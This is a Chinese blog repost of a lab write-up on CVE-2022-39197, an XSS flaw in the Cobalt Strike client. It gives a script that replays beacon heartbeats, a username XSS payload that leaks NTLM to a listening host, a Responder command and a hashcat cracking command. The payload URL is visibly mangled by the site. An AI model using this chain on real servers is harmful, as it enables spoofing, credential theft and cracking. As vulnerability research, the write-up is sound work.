记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

针对CS最新XSS漏洞的详细研究--CVE-2022-39197

2022-09-26 17:30

image-20220926091201176

针对CS最新XSS漏洞的详细研究--CVE-2022-39197

文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

1. 原理部分

1.1 CS上线流量

本地主机(vm8网卡): windows11 192.168.52.1

服务端: windows10 192.168.52.129

被控端: windows10 192.168.52.140

首先生成一个裸奔马,然后在被控端打开wireshark并且点击exe上线,我们这里只考虑应用层的包,所以过滤一下,我这里得到4个包

image-20220925143001961

前两个先不看,先看3和4,他们比较亲民点,追踪流发现cookie中存在一个加密过后的值,而凭借经验不难看出很大可能是RSA非对称加密,猜想这个就是上线的请求了(也就是心跳包)

image-20220925143036316

为了验证猜想,我用本地主机利用python发出该请求代码如下(这里为了书写方便附加个hearder转字典地址:公众号后回复“header转字典”即可)

import requests
import time

url = 'http://192.168.52.128/fwlink'
header = {
"Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
"Host":"192.168.52.128",
"Connection":"Keep-Alive",
"Cache-Control":"no-cache"
}


while True:
requests.get(url,headers=header)
time.sleep(10)

可以看到达到效果了

image-20220925144510463

当然我们这里想获得类似的信息也可以通过我们上图中第一个请求OwQF来拿Stage分析出来,这里可以用大佬的工具

image-20220925154133839

https://github.com/Sentinel-One/CobaltStrikeParser

image-20220925153457269

上图中PublicKey并不是真正的key,里面有些垃圾填充,就是后边那些AAAAAAA,所以正确的key如下所示

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB== 

到这里就可以利用脚本来达到批量上线的目的了,这里可以利用LiAoRJ师傅现成的脚本达到上线的目的

https://github.com/LiAoRJ/CS_fakesubmit

image-20220925160203103

原理也是非常简单,就是更改对应stage不同位置对应的值

image-20220925160321083


2. XSS利用

​目前CS出现XSS漏洞的原因主要是因为CS的客户端可以被HTML渲染,目前已知存在位置为计算机名,username等,因为再前面我们可以自定义上线,所以更改一下这些地方的信息不是难事

2.1 反制获取NTLM

这个是现在网上复现成功较多的,也非常简单,首先我在kali启动responder

responder -v -I eth0 

开始监听

image-20220925193907803

这时我们只需要将XSS的payload加到CS的用户名那里,payload如下

<html><img src="http://img403.hackdig.com/imgpxy.php?url=a%2F921.25.861.291%2F%2F%3Aelif"%> 

我们还是利用fakesubmit,然后将User_name字典的内容改成如下所示,然后上线一台机器

image-20220925204009591

由于我们的这个payload有点长,而原有的fakesubmit的rsa.encrypt加密函数最多加密117字节,所以会报错,然后我简单的改了下脚本,如下图所示需要自己对照改

image-20220925210054836

然后直接执行脚本上线

image-20220925204354301

然后再回头看我们的kali

image-20220925204723985

ok,这回我们可以拿着hash去爆破了

image-20220925204925714

创建了test将hash放进去

#-m 指定密文类型,5600对应的就是NetNTLMv2
#--force 为忽略警告
hashcat -m 5600 ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force

爆破成功

image-20220925205020596



知识来源: https://zone.huoxian.cn/d/2577-csxss-cve-2022-39197

阅读:685022 | 评论:0 | 标签:xss 漏洞 CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“针对CS最新XSS漏洞的详细研究--CVE-2022-39197”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

十年经营持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

🙇🧎营运续持们我助帮↓

标签云 ☁